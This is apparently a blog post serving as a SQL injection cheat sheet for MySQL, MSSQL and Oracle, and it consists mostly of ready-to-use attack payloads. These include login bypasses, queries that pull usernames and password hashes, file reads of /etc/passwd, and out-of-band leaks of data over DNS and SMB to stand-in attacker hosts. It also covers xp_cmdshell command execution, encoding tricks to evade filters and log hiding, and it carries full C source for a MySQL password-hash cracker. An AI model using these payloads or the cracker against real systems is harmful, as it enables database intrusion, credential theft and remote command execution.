Credits
I would like to thank .mario, Reiners and everyone else who help me put this together. You can reach me at twitter.com/LightOS for any suggestions you may have or if there's something you think should be on here. Remember this is still a work in progress.
MySQL
Default Databases
- mysql (Privileged)
- information_schema (Version >= 5)
Comment Out Query
- #
- /*
- -- -
- ;
Testing Injection
- False
- The query is invalid (MySQL errors/missing content on website)
- True
- The query is valid (Content is displayed as usual)
Strings
- ' - False
- '' - True
- " - False
- "" - True
Numeric
- AND 0 - False
- AND 1 - True
- 2-1 - 1
- 3-2 - 1
In a login
- ' OR '1
- ' OR 1 -- -
- '='
- 'like'
- '=0-- -
Example:
- SELECT * FROM Users WHERE username = 'Mike' AND password = ''=''
- " OR "" = "
- " OR 1 = 1 -- -
- You can use as many apostrophes/quotations as you want as long as they pair up
- SELECT * FROM Articles WHERE id = '121'''''''''''''' - This is valid
- It's also possible to continue the statement after the chain of quotes: SELECT '1'''''''"" UNION SELECT 2 # 1 and 2
- Quotes escape quotes: SELECT '1''' # 1'
Testing Version
- VERSION();
- @@VERSION;
MySQL-specific code
- You can use comments in between the name and the parenthesis
- Example: VERSION/**/()
- Output will contain -nt-log in case the DBMS runs on a Windows based machine
Retrieving DB usernames/passwords
- Database.Table: mysql.user (Privileged)
- Columns: user, password
- Current User: user(), system_user()
Example:
- UNION SELECT CONCAT(user, 0x3A, password) FROM mysql.user WHERE user = 'root'
Tables & Columns
Finding out column #
- Order By:
- ORDER BY 1
- ORDER BY 2
- ORDER BY ...
Example:
- 1' ORDER BY 1-- - True
- 1' ORDER BY 2-- - True
- 1' ORDER BY 3-- - True
- 1' ORDER BY 4-- - False (Only 3 Columns)
- -1' UNION SELECT 1,2,3-- -
- Error Based:
- AND (SELECT * FROM SOME_TABLE) = 1
- Operand should contain 3 column(s)
Retrieving Tables
- Union:
- UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
- Blind:
- AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
- Error:
- AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
Note:
- version=9 for MySQL 4
- version=10 for MySQL 5
Retrieving Columns
- Union:
- UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
- Blind:
- AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
- Error:
- AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
- AND (1,2,3) = (SELECT * FROM SOME_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1
- Procedure Analyse():
- Refer to PROCEDURE ANALYSE() below.
The GROUP_CONCAT() function allows grouping of the tables/columns, instead of viewing them one at a time.
Note:
- Output is limited to 1024 chars by default.
- All default database table names: ~900 chars
- All default database column names: ~6000 chars
PROCEDURE ANALYSE()
- 1 PROCEDURE ANALYSE() #get first column name
- 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
- 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name
Note:
It is necessary that the webapp will display the first selected column of the SQL query you are injecting to.
Retrieving Multiple Tables/Columns at once
- UNION SELECT MID(GROUP_CONCAT('<br>','Table: ',table_name,'<br>','Column: ',column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR '<br>'),1,1024) FROM information_schema.columns
Find Tables from Column Name
- SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; - Finds the table names for any columns named username.
- SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; - Finds the table names for any columns that contain the word user.
Find Column From Table Name
- SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';
- SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';
Avoiding the use of single/double quotations
- UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = 0x61646D696E
- UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
String concatenation
- SELECT concat('a','a','a')
- SELECT'a' 'a' 'a'a
- SELECT/*/'a'/*/ 'd'/*/ 'mi'/*/ 'n'
Privileges
FILE privilege
MySQL 4/5
- ' UNION SELECT file_priv,null FROM mysql.user WHERE user = 'username
- ' AND MID((SELECT file_priv FROM mysql.user WHERE user = 'username'),1,1) = 'Y
MySQL 5
- ' UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%
- ' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'),1,1)='Y
Out Of Band Channeling
Timing
- BENCHMARK()
- SLEEP() (MySQL 5)
- IF(), (CASE()WHEN)
- ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('test')), false)) - '
DNS (requires FILE privilege)
- SELECT LOAD_FILE(concat('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));
SMB (requires FILE privilege)
- ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt
Reading Files (requires FILE privilege)
- LOAD_FILE()
- UNION SELECT LOAD_FILE('/etc/passwd')-- -
- UNION SELECT LOAD_FILE(0x2F6574632F706173737764)-- -
Note:
- File must be located on the server host
- The basedirectory for load_file() is the @@datadir
- The file must be readable by the MySQL user
- The file size must be less than max_allowed_packet
- UNION SELECT @@max_allowed_packet (default value is 1047552 Byte)
Writing Files (requires FILE privilege)
- INTO OUTFILE/DUMPFILE
- UNION SELECT 'code', null INTO OUTFILE '/tmp/file
Note:
- You can’t overwrite files with INTO OUTFILE
- INTO OUTFILE must be the last statement in the query
- There is no way to encode the pathname, so quotes are required
Stacked Queries with PDO
Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.Example:
- AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');
User Defined Functions
UDF -R S 10/6/10 10:56 AMNote:
Allowed Intermediary Characters after AND/OR
- 2B
- 2D
- 7E
$prefixes = array(" ", "+", "-", "~", "!", "@", " ");
- 09
- 0A
- 0B
- 0D
- 0C
- 20
Example: SELECT 1 FROM information_schema%20%0C%20.%20%09tables;
Operators
$operators = array("^", "=", "!=", "%", "/", "*", "&", "&&", "|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND", "OR", "XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP", "IS", "NOT");Constants
- current_user
- null, \N
- true, false
MySQL Functions()
MySQL Password Hashing (Taken from MySQL website)
As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:
+-----------------------------------------------------------------------+
MySQL Password() Cracker
MySQL < 4.1 Password Cracker
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/
#include <stdio.h>
typedef unsigned long u32;
/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126
/* Maximum length of password */
#define MAX_LEN 12
#define MASK 0x7fffffffL
int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;
while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;
newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;
div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;
pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}
while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}
return 0;
}
void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];
if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %s\n", hash);
return;
}
printf("Hash: %08lx%08lx\n", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %d\n", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('\n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not found\n");
}
int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hash\n", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
MSSQL
Default Databases
- pubs
- model
- msdb
- tempdb
- northwind
- information_schema (>= 2000)
Comment Out Query
- /*
- --
Testing Version
- @@VERSION
- VERSION()
Retrieving user names/passwords
- Database.Table:
- master..syslogins, master..sysprocesses
- Columns:
- name, loginameCurrent User: user, system_user, suser_sname(), is_srvrolemember('sysadmin')
- Database Credentials:
- SELECT user, password FROM master.dbo.sysxlogins
Example:
- SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; -- Returns current user
- SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);-- Is Admin?
Database Server Hostname
- @@servername
- SERVERPROPERTY()
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition') --
Only available >= SQL Server 2005
Listing Databases
- Table: master..sysdatabases
- Column: name
- Function: DB_NAME(i)
- SELECT name FROM master..sysdatabases;
- SELECT DB_NAME(5);
We can retrieve the tables/columns from two different databases, information_schema.tables, information_schema.columns or from master..sysobjects, masters..syscolumns.
Tables & Columns
Retrieving Tables
- Union:
- UNION SELECT name FROM master..sysobjects WHERE xtype='U' --
- Blind:
- AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
- Error Based:
- AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
- AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
Note:
Xtype = 'U' is for User-defined tables. You can use 'V' for views.
Retrieving Columns
- Union:
- UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')
- Blind:
- AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
- Error Based:
- AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
- AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
Retrieving Multiple Tables/Columns at once
- Create Temp Table/Column and Insert Data:
- AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
- Dump Content:
- AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
- Delete Table:
- AND 1=0; DROP TABLE TMP_DB;
You can encode your query in hex to "obfuscate" your attack.
OPENROWSET Attacks
System Command Execution
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.Alternatively, you can create your own procedure to achieve the same results
- ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
- ' UNION SELECT tbl FROM TMP_DB--
- ' DROP TABLE TMP_DB--
This example checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB.
SP_PASSWORD (Hiding Query)
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.Stacked Queries
- ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2')
Fuzzing and Obfuscation
Encodings
- Hex
- ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--sp_password
- URL Encoded
- %53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%64%75%61%6c
Running IIS as server
- Unicode
- %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0031%u0020%u0046%u0052%u004f%u004d%u0020%u0064%u0075%u0061%u006c
- HTML Entities
- AND 1=1 (&# has to be URL Encoded)
- %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B
Allowed Intermediary Characters:
- 01-1F
- 28
- 29
Example: UNION(SELECT(column)FROM(table))
- 5B
- 5D
- 22
Allowed Intermediary Characters after AND/OR
- 01-1F
- 2B
- 2D
- 2E
- 5C
- 7E
Example: SELECT 1FROM[table]WHERE\1=\1AND\1=\1
MSSQL Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercased version.1C0784B911D76BF4EB124550ACABDFD1457
MSSQL Password Cracker
ORACLE
Default Databases
- SYSTEM
- SYSAUX
Comment Out Query
- --
Testing Version
- SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'
- SELECT banner FROM v$version WHERE banner LIKE 'TNS%'
- SELECT version FROM v$instance
Retrieving Users/Passwords
- SELECT username FROM all_users
- SELECT name, password from sys.user$ (Privileges required, <= 10g)
- SELECT name, spare4 from sys.user$ (Privileges required, 11g)
Retrieving Databases
Current Database
- SELECT name FROM v$database;
- SELECT instance_name FROM v$instance
- SELECT global_name FROM global_name
- SELECT SYS.DATABASE_NAME FROM DUAL
User Databases
Tables & Columns
Retrieving Tables
- SELECT table_name FROM all_tables
Retrieving Columns
- SELECT column_name FROM all_tab_columns
Finding Tables from Column Name
- SELECT column_name FROM all_tab_columns WHERE table_name = 'Users'
Finding Column From Table Name
- SELECT table_name FROM all_tab_tables WHERE column_name = 'password'
Fuzzing and Obfuscation
Avoiding the use of single/double quotations
Unlike other RDBMS, Oracle allows us to reference table/column names encoded.
- SELECT chr(32)||chr(92)||chr(93) FROM dual
- SELECT 0x09120911091
Out Of Band Channeling
Time Delay
- SELECT UTL_INADDR.get_host_address('non-existant-domain.zom') FROM dual
Heavy Query Time delays
- AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1))
1 comments:
Yeah, great great post men,
Post a Comment